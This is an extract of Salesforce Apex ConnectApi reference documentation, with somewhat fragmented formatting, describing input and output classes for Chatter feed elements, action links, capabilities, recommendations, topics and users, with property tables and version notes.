A list of action link groups to associate with a feed element. To associate an action link group with a feed element, the call must be made from the Apex namespace that created the action link definition. In addition, the user making the call must have created the definition or have "View All Data" permission.

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.
### ConnectApi Input Classes

#### actionLinkGroupIds

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionLinkGroupIds</td>
<td>List&lt;String&gt;</td>
<td>The action link group IDs to associate with the feed element. Associate one Primary and up to 10 total action link groups to a feed item. Action link groups are returned in the order specified in this property. An action link group ID is returned from a call to <code>ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)</code> on page 731.</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- [ConnectApi.FeedElementCapabilitiesInput](#)
- [ConnectApi.BinaryInput Class](#)
- [ConnectApi.BatchInput Class](#)

#### ConnectApi.BinaryInput Class

Create a `ConnectApi.BinaryInput` object to attach files to feed items and comments. The constructor is:

```
ConnectApi.BinaryInput(blob, contentType, filename)
```

The constructor takes these arguments:

<table>
<thead>
<tr>
<th>Argument</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>blob</td>
<td>Blob</td>
<td>Contents of the file to be used for input</td>
<td>28.0</td>
</tr>
<tr>
<td>contentType</td>
<td>String</td>
<td>MIME type description of the content, such as <code>image/jpg</code></td>
<td>28.0</td>
</tr>
<tr>
<td>filename</td>
<td>String</td>
<td>File name with the file extension, such as <code>UserPhoto.jpg</code></td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- [Post a Feed Element with a New File (Binary) Attachment](#)
- [Post a Comment with a New File](#)

#### ConnectApi.BatchInput Class

Construct a set of inputs to be passed into a method at the same time. Use this constructor when there isn’t a binary input:

```
ConnectApi.BatchInput(Object input)
```

Use this constructor to pass one binary input:

```
ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)
```
Use this constructor to pass multiple binary inputs:

```java
ConnectApi.BatchInput(Object input, List<ConnectApi.BinaryInput> binaries)
```

The constructors takes these parameters:

<table>
<thead>
<tr>
<th>Argument</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>input</td>
<td>Object</td>
<td>An individual input object to be used in the batch operation. For example, for postFeedElementBatch(), this should be ConnectApi.FeedElementInput.</td>
</tr>
<tr>
<td>binary</td>
<td>ConnectApi.BinaryInput</td>
<td>A binary file to associate with the input object.</td>
</tr>
<tr>
<td>binaries</td>
<td>List&lt;ConnectApi.BinaryInput&gt;</td>
<td>A list of binary files to associate with the input object.</td>
</tr>
</tbody>
</table>

**Available Version**

| input     | 32.0  | binary     | 32.0  | binaries   | 32.0 |

SEE ALSO:
- Post a Batch of Feed Elements
- Post a Batch of Feed Elements with New (Binary) Files

### ConnectApi.BookmarksCapabilityInput

Create or update a bookmark on a feed element.

This class is a subclass of [ConnectApi.FeedElementCapabilityInput Class](#).

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>isBookmarked</td>
<td>Boolean</td>
<td>Specifies if the feed element should be bookmarked for the user (true) or not (false).</td>
</tr>
<tr>
<td>ByCurrentUser</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Required or Optional**

| isBookmarked     | No          | ByCurrentUser               |             |

**Available Version**

| isBookmarked     | 32.0        | ByCurrentUser               | 32.0        |

- [ConnectApi.FeedElementCapabilitiesInput](#)

### ConnectApi.CanvasAttachmentInput Class

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use [ConnectApi.CanvasCapabilityInput](#).

Used to attach a canvas app to a feed item.

Subclass of [ConnectApi.FeedItemAttachmentInput Class](#)

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Optional. The description of the canvas app.</td>
<td>29.0–31.0</td>
</tr>
</tbody>
</table>
### ConnectApi.CanvasCapabilityInput

Create or update a canvas app associated with a feed element.

This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>developerName</td>
<td>String</td>
<td>The developer name (API name) of the canvas app</td>
<td>Optional</td>
<td>32.0</td>
</tr>
<tr>
<td>height</td>
<td>String</td>
<td>Optional. The height of the canvas app in pixels. Default height is 200 pixels.</td>
<td></td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>namespacePrefix</td>
<td>String</td>
<td>Optional. The namespace prefix of the Developer Edition organization in which the canvas app was created.</td>
<td></td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>parameters</td>
<td>String</td>
<td>Optional. Parameters passed to the canvas app in JSON format. Example: { &quot;isUpdated&quot; : &quot;true&quot; }</td>
<td></td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>Optional. A URL to a thumbnail image for the canvas app. Maximum dimensions are 120x120 pixels.</td>
<td></td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>The title of the link used to call the canvas app.</td>
<td></td>
<td>29.0–31.0</td>
</tr>
</tbody>
</table>

createGroup(communityId, groupInput)
updateGroup(communityId, groupId, groupInput)

ConnectApi.CommentInput Class

Used to add rich comments, for example, comments that include @mentions or attachments.
attachment  

Optional. Specifies an attachment for the comment. Valid values are:
- ContentAttachmentInput
- NewFileAttachmentInput
LinkAttachmentInput is not permitted for comments.

**Important:** As of version 32.0, use the capabilities property.

body  

Description of message body. The body can contain up to 10,000 characters and 25 mentions. Because the character limit can change, clients should make a describeSObjects() call on the FeedItem or FeedComment object and look at the length of the Body or CommentBody field to determine the maximum number of allowed characters.

To edit this property in a comment, use updateComment(communityId, commentId, comment). Editing comments is supported in version 34.0 and later.

capabilities  

Optional. Specifies any capabilities for the comment, such as a file attachment.

**SEE ALSO:**
- Post a Comment with a Mention
- Post a Comment with a New File
- Post a Comment with an Existing File
- Edit a Comment
- postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)

ConnectApi.ContentAttachmentInputClass  

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.

Used to attach existing content to a comment or feed item.

Subclass of ConnectApi.FeedItemAttachmentInputClass

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>contentDocumentId</td>
<td>String</td>
<td>ID of the existing content.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>
**ConnectApi.ContentCapabilityInput**

Attach or update a file with a feed element. Use this class to attach a new file or update a file that has already been uploaded to Salesforce.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput` Class.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>contentDocumentId</td>
<td>String</td>
<td>ID of the existing content.</td>
<td>Required for existing content</td>
<td>32.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the file to be uploaded.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
</tbody>
</table>
| sharingOption   | `ConnectApi.FileSharingOption` | Sharing option of the file. Values are:  
  • Allowed—Resharing of the file is allowed.  
  • Restricted—Resharing of the file is restricted. | Optional             | 35.0              |
| title           | String   | Title of the file. This value is used as the file name for new content. For example, if the title is My Title, and the file is a .txt file, the file name is My Title.txt. | Required for new content | 32.0              |

SEE ALSO:  
`ConnectApi.FeedElementCapabilitiesInput`

**ConnectApi.DatacloudOrderInput Class**

Input representation for a Datacloud order to purchase contacts or companies and retrieve purchase information.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| companyIds     | String | A comma-separated list of identification numbers for the companies to be purchased. 
  You can’t include any contact IDs or your purchase fails. | Required to purchase companies | 32.0              |
| contactIds     | String | A comma-separated list of identification numbers for the contacts to be purchased. 
  You can’t include any company IDs or your purchase fails. | Required to purchase contacts | 32.0              |
## Available Version

### Required or Optional

- Optional

### Available Version

- 32.0

## Description

Indicates the Data.com user type to be used. There are two user types.

- Monthly (default)
- Listpool

### ConnectApi.FeedElementCapabilitiesInput

A container for all capabilities that can be included when creating a new feed element.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>

<td>ConnectApi. QuestionAndAnswers CapabilityInput</td>
<td>Describes a question and answer capability added to this feed element.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedElementInput Class

SEE ALSO:

- `postOrder(orderInput)`
ConnectApi.FeedElementCapabilityInput Class

A feed element capability.

In API versions 30.0 and earlier, every feed item can have comments, likes, topics, and so on. In versions 31.0 and later, every feed item and feed element can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation flags.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

This class is a superclass of:

- ConnectApi.AssociatedActionsCapabilityInput
- ConnectApi.BookmarksCapabilityInput
- ConnectApi.CanvasCapabilityInput
- ConnectApi.ContentCapabilityInput
- ConnectApi.LinkCapabilityInput
- ConnectApi.MuteCapabilityInput
- ConnectApi.PollCapabilityInput
- ConnectApi.QuestionAndAnswersCapabilityInput

ConnectApi.FeedElementInput Class

Feed elements are the top-level items that a feed contains. Feeds are feed element containers.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

Superclass of ConnectApi.FeedItemInput Class.

<table>
<thead>
<tr>

**SEE ALSO:**
- Post a Feed Element with a Mention
- Post a Feed Element with Existing Content
- Post a Feed Element with a New File (Binary) Attachment
- Define an Action Link and Post with a Feed Element
- Define an Action Link in a Template and Post with a Feed Element
- Share a Feed Element and Add a Comment
- Edit a Feed Element
- Edit a Question Title and Post
- Post a Rich-Text Feed Element with Inline Image

**ConnectApi.FeedItemAttachmentInput Class**

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use `ConnectApi.FeedElementCapabilityInput Class.`

Used to attach a file to a feed item.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

Superclass for:
- `ConnectApi.CanvasAttachmentInput Class`
- `ConnectApi.ContentAttachmentInput Class`
- `ConnectApi.LinkAttachmentInput Class`
- `ConnectApi.NewFileAttachmentInput Class`
- `ConnectApi.PollAttachmentInput Class`

**ConnectApi.FeedItemInput Class**

Used to create rich feed items, for example, feed items that include @mentions or files.

Subclass of `ConnectApi.FeedElementInput Class` as of version 31.0.
<table>

  ConnectApi.MessageBodyInput Class
ConnectApi.LinkAttachmentInput Class

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.LinkCapabilityInput.

Used as part of a feed item attachment, to add links.

Subclass of ConnectApi.FeedItemAttachmentInput Class

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>URL to be used for the link</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>urlName</td>
<td>String</td>
<td>Title of the link</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

ConnectApi.LinkCapabilityInput

Create or update a link on a feed element.

This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>

SEE ALSO:
- Edit a Comment
- Edit a Feed Element
- Edit a Question Title and Post
- Post a Rich-Text Feed Element with Inline Image
- ConnectApi.MessageBodyInput Class

ConnectApi.MuteCapabilityInput

Mute or unmute a feed element.

This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isMutedByMe</td>
<td>Boolean</td>
<td>Indicates whether the feed element is muted for</td>
<td>Required</td>
<td>35.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>the context user. Default value is false.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

SEE ALSO:
- setIsMutedByMe(communityId, feedElementId, isMutedByMe)

ConnectApi.NewFileAttachmentInput Class

⚠️ Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.

Describes a new file to be attached to a feed item. The actual binary file, that is the attachment, is provided as part of the BinaryInput in the method that takes this attachment input, such as postFeedItem or postComment.

Subclass of ConnectApi.FeedItemAttachmentInput Class

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the file to be uploaded.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>The title of the file. This value is required and is also used as the file name. For example, if the title is My Title, and the file is a .txt file, the file name is My Title.txt.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

ConnectApi.PhotoInput Class

Use to specify how crop a photo. Use to specify an existing file (a file that has already been uploaded).
### ConnectApi.PollAttachmentInput Class

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use `ConnectApi.PollCapabilityInput`.

Used to attach a poll to a feed item.

Subclass of `ConnectApi.FeedItemAttachmentInput Class`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>pollChoices</td>
<td><code>List&lt;String&gt;</code></td>
<td>The text labels for the poll items. Polls must contain between 2 to 10 poll choices.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.PollCapabilityInput

Create, update, or vote on a poll on a feed element.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput Class`. 
### ConnectApi.FeedElementCapabilitiesInput

Create or edit a question feed element or set the best answer of the existing question feed element.

This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>choices</td>
<td>List&lt;String&gt;</td>
<td>The choices used to create a new poll. You must specify 2–10 poll choices for each poll.</td>
<td>Required for creating a poll</td>
<td>32.0</td>
</tr>
<tr>
<td>myChoiceId</td>
<td>String</td>
<td>ID of an existing choice on the feed poll. Used to vote on an existing poll.</td>
<td>Required for voting on a poll</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.FeedElementCapabilitiesInput
- ConnectApi.QuestionAndAnswersCapabilityInput
- ConnectApi.RecommendationAudienceInput

### ConnectApi.QuestionAndAnswersCapabilityInput

Create or edit a question feed element or set the best answer of the existing question feed element.

This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>bestAnswerId</td>
<td>String</td>
<td>A comment ID to use as a best answer for a question feed element. The best answer comment must already exist on the question feed element.</td>
<td>Required to update a feed element. Not supported when posting a feed element.</td>
<td>32.0</td>
</tr>
<tr>
<td>questionTitle</td>
<td>String</td>
<td>Title for a question feed element. To edit the title of a question, use updateFeedElement (communityId, feedElementId, feedElement). Editing question titles is supported in version 34.0 and later.</td>
<td>Required to post a feed element. Not supported when updating a feed element.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- Edit a Question Title and Post
- ConnectApi.FeedElementCapabilitiesInput

### ConnectApi.RecommendationAudienceInput

A recommendation audience.
### ConnectApi.RecommendationAudienceMemberOperationType

The operation to carry out on the audience members.

- **Add**—Adds specified members to the audience.
- **Remove**—Removes specified members from the audience.

#### members

A collection of user IDs. When updating an audience, you can include up to 100 members. An audience can have up to 100,000 members, and each community can have up to 1,000 audiences.

#### name

The unique name of the recommendation audience.

**SEE ALSO:**

createRecommendationAudience(communityId, recommendationAudience)

### ConnectApi.RecommendationDefinitionInput

A recommendation definition.

- **actionUrl**
  - Description: The URL for acting on the recommendation, for example, the URL to join a group.
  - Required or Optional: Required to create a recommendation definition
  - Available Version: 35.0

---

**Note:**

Don’t use or specify `null` to create a recommendation audience.
### ConnectApi.RequestHeaderInput Class

An HTTP request header name and value pair.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the request header.</td>
<td>Required</td>
<td>33.0</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>The value of the request header.</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- Define an Action Link and Post with a Feed Element
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>enabled</td>
<td>Boolean</td>
<td>Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false, recommendations in feeds in the Salesforce1 mobile browser app aren’t removed, but no new recommendations appear. In communities using the Summer ’15 or later version of the Napili template, disabled recommendations no longer appear.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
<tr>
<td>rank</td>
<td>Integer</td>
<td>Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1. Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled recommendations example. If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of the scheduled recommendation is the size of the list, instead of the one specified. If a rank is not specified, the scheduled recommendation is put at the end of the list.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendation AudienceId</td>
<td>String</td>
<td>ID of the audience for this scheduled recommendation. When updating a scheduled recommendation, specify ALL to remove the association between a recommendation audience and a scheduled recommendation.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendation DefinitionId</td>
<td>String</td>
<td>ID of the recommendation definition that this scheduled recommendation schedules. Required to create a scheduled recommendation. You can’t specify a recommendation DefinitionId when updating an existing scheduled recommendation.</td>
<td>Required</td>
<td>35.0</td>
</tr>
</tbody>
</table>
Ranking scheduled recommendations example

If you have these scheduled recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

SEE ALSO:
createScheduledRecommendation(communityId, scheduledRecommendation)

ConnectApi.TextSegmentInput Class

Used to include a text segment in a feed item or comment.

Subclass of ConnectApi.MessageSegmentInput Class
Plain text for this segment. If hashtags or links are detected in `text`, they are included in the comment as hashtag and link segments. Mentions are not detected in `text` and are not separated out of the text. Mentions require `ConnectApi.MentionSegmentInput Class`.

SEE ALSO:
- Edit a Comment
- Edit a Feed Element
- Edit a Question Title and Post
- Post a Rich-Text Feed Element with Inline Image
- `ConnectApi.MessageBodyInput Class`

## ConnectApi.TopicInput Class
Update a topic’s name or description or merge topics.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the topic</td>
<td>29.0</td>
</tr>
<tr>
<td>idsToMerge</td>
<td>List&lt;String&gt;</td>
<td>List of up to five topic IDs to merge with the topic</td>
<td>33.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the topic</td>
<td>29.0</td>
</tr>
</tbody>
</table>

Use this property to change only the capitalization and spacing of the topic name.

SEE ALSO:
- `updateTopic(communityId, topicId, topic)`

## ConnectApi.TopicNamesInput
A list of topic names.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>topicNames</td>
<td>List&lt;String&gt;</td>
<td>A list of up to 10 topic names for a feed item or 100 topic names for a record.</td>
<td>Required</td>
<td>35.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `reassignTopicsByName(communityId, recordId, topicNames)`
ConnectApi.UserInput Class

Used to update a user.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>aboutMe</td>
<td>String</td>
<td>The aboutMe property of a ConnectApi.UserDetail output object. This property populates the “About Me” section of the user profile, which is visible to all members of a community or organization.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
updateUser(communityId, userId, userInput)

ConnectApi Output Classes

Most ConnectApi methods return instances of ConnectApi output classes.

All properties are read-only, except for instances of output classes created within test code.
All output classes are concrete unless marked abstract in this documentation.
All concrete output classes have no-argument constructors that you can invoke only from test code. See Testing ConnectApi Code.

ConnectApi.AbstractMessageBody Class

This class is abstract.

Superclass of:
- ConnectApi.FeedBody Class
- ConnectApi.MessageBody Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>messageSegments</td>
<td>List&lt;ConnectApi.MessageSegment&gt;</td>
<td>List of message segments</td>
<td>28.0</td>
</tr>
<tr>
<td>isRichText</td>
<td>Boolean</td>
<td>Indicates whether the body is rich text.</td>
<td>35.0</td>
</tr>
<tr>
<td>text</td>
<td>String</td>
<td>Display-ready text. Use this text if you don’t want to process the message segments.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

ConnectApi.AbstractRecommendation Class

A recommendation.

This class is abstract.

Superclass of:
- ConnectApi.EntityRecommendation Class
- ConnectApi.NonEntityRecommendation Class
ConnectApi.NonEntityRecommendation Class isn't used in version 34.0 and later. In version 34.0 and later, ConnectApi.EntityRecommendation Class is used for all recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>explanation</td>
<td>ConnectApi.RecommendationExplanation</td>
<td>The recommendation explanation.</td>
<td>32.0</td>
</tr>
<tr>
<td>platformActionGroup</td>
<td>ConnectApi.PlatformActionGroup</td>
<td>A platform action group instance with state</td>
<td>34.0</td>
</tr>
<tr>
<td>recommendationType</td>
<td>ConnectApi.RecommendationType</td>
<td>Specifies the type of record being recommended.</td>
<td>32.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL for the recommendation.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

**ConnectApi.AbstractRecommendationExplanation Class**

Explanation for a recommendation.

This class is abstract.

Superclass of ConnectApi.RecommendationExplanation Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>summary</td>
<td>String</td>
<td>Summary explanation for recommendation.</td>
<td>32.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.RecommendationExplanationType</td>
<td>Indicates the reason for the recommendation.</td>
<td>32.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Custom—Custom recommendations</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FilePopular—Files with many followers or views</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>

<td></td>
<td>context user follows</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• GroupNew—Recently created groups</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• GroupPopular—Groups with many active members</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ItemViewedTogether—Records often viewed at</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>the same time as other records the context user</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>views</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PopularApp—Applications that are popular</td>
<td></td>
</tr>
</tbody>
</table>
Available Version | Description | Type
--- | --- | ---
RecordOwned | Records owned by the context user | String
RecordParentOfFollowed | Parent records of records the context user follows | String
RecordViewed | Records the context user recently viewed | String
UserDirectReport | Users who report to the context user | String
UserFollowedTogether | Users often followed at the same time as other users the context user follows | String
UserFollowsSameUsers | Users who follow the same users as the context user | String
UserManager | The context user’s manager | String
UserNew | Recently created users | String
UserPeer | Users who report to the same manager as the context user | String
UserPopular | Users with many followers | String
UserViewingSameRecords | Users who view the same records as the context user | String

**ConnectApi.AbstractRecordField Class**

This class is abstract.

Superclass of:
- ConnectApi.BlankRecordField Class
- ConnectApi.LabeledRecordField Class

A field on a record object.

Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

⚠️ **Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>type</td>
<td>String</td>
<td>The type of the field. One of these values:</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Address</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Blank</td>
<td></td>
</tr>
</tbody>
</table>
ConnectApi.AbstractRecordView Class

This class is abstract.

Subclass of ConnectApi.ActorWithId Class

Superclass of:
- ConnectApi.RecordSummary Class
- ConnectApi.RecordView Class

A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or ChatterGroup, is not available for the record type.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>The localized name of the record.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

ConnectApi.ActionLinkDefinition Class

The definition of an action link. Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have “View All Data” permission.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>The action link URL. For example, a ui action link URL is a Web page. A Download action link URL is</td>
<td>33.0</td>
</tr>
<tr>
<td>Property Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>----------------</td>
<td>---------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td></td>
<td></td>
<td>a link to the file to download. <code>ui</code> and <code>Download</code> action link URLs are provided to clients. An <code>Api</code> or <code>ApiAsync</code> action link URL is a REST resource. <code>Api</code> and <code>ApiAsync</code> action link URLs aren't provided to clients. Links to Salesforce can be relative. All other links must be absolute and start with <code>https://</code>.</td>
<td></td>
</tr>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>An ISO 8601 format date string, for example, <code>2011-02-25T18:24:31.000Z</code>.</td>
<td>33.0</td>
</tr>
<tr>
<td>excludedUserId</td>
<td>String</td>
<td>ID of a single user to exclude from performing the action. If you specify an <code>excludedUserId</code>, you can't specify a <code>userId</code>.</td>
<td>33.0</td>
</tr>
<tr>
<td>groupDefault</td>
<td>Boolean</td>
<td><code>true</code> if this action is the default action link in the action link group; <code>false</code> otherwise. There can be only one default action link per action link group. The default action link gets distinct styling in the Salesforce UI.</td>
<td>33.0</td>
</tr>
<tr>
<td>headers</td>
<td><code>List&lt;ConnectApi.RequestHeader&gt;</code></td>
<td>The request headers for the <code>Api</code> and <code>ApiAsync</code> action link types.</td>
<td>33.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The 18-character ID for the action link definition.</td>
<td>33.0</td>
</tr>
<tr>
<td>label</td>
